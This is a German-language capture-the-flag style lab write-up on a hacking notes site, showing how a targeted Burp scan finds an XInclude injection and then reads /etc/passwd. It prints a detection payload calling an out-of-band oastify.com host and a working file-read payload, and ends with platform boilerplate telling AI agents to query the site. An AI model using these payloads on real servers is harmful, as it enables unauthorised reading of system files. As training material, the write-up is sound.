> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/essential-skills/fast-detection-with-targeted-scanning.md).

# Schnelle Erkennung mit gezieltem Scannen

### Schwachstellen schnell durch gezielte Scans entdecken

#### Laborkontext

Dieses Lab enthält eine Schwachstelle, um **beliebige Dateien auf dem Server zu lesen**. / Das Ziel ist es, **den Inhalt der `/etc/passwd` Datei in weniger als 10 Minuten wiederherzustellen**.

Aufgrund dieser Zeitbeschränkung wird empfohlen, **Burp Scanner** statt eines vollständigen Anwendungs-Audits zu verwenden.

#### Zeitliche Beschränkung

* Ein \*\*10-Minuten-Timer\*\* ist ab dem Start des Labs aktiv.
* Ein vollständiger Scan der gesamten Website kann zu langsam sein.
* Daher ist es vorzuziehen, **potenziell verwundbare Einstiegspunkte gezielt anzusteuern**.

<figure><img src="/files/4bd08163f736c8ebab376d4ef57cce2ad2a8fae2" alt=""><figcaption></figcaption></figure>

#### Methodik

1. **Fange eine relevante HTTP-Anfrage ab** mit Burp Proxy.

<figure><img src="/files/9132c98a6c16f22bfe6cdbd8eb80f95e02dca25a" alt=""><figcaption></figcaption></figure>

Analysiere schnell die Logik der Anfrage, um einen interessanten Endpunkt zu identifizieren.

Führe einen gezielten Scan über **Burp Scanner** für diese spezifische Anfrage aus.

<figure><img src="/files/a180a1458819629789ebb9d3175a953c5ad32eab" alt=""><figcaption></figcaption></figure>

#### Burp-Scan-Konfiguration

* Ausgewählter Scan-Typ: **Crawlen und Prüfen**

<figure><img src="/files/d98f427728ac89585962b97108bd72968091d5d5" alt=""><figcaption></figcaption></figure>

* Modus : **Schneller Scan**

Ziel: schnell einen ausnutzbaren Angriffsvektor identifizieren

<figure><img src="/files/e9d4abb3cfdee2b37e73a0f940d0a8a5e3bf7cf8" alt=""><figcaption></figcaption></figure>

#### Schwachstelle identifiziert

Der Scan deckt eine Schwachstelle vom Typ **XML-Injection (XInclude)**.

<figure><img src="/files/72071011abbdfba0cb2997c17dc89bc2ac47f0a7" alt=""><figcaption></figcaption></figure>

Vom Burp Scanner erkannter Initial-Payload:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Dies bestätigt, dass der Server **XInclude** Entitäten ohne Einschränkung verarbeitet.

#### Ausnutzung: Lesen `/etc/passwd`

Die Nutzlast wird geändert, um eine lokale Systemdatei einzuschließen:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/68b389d18d824ce8a1d3fdb32638f9a58860ad55" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
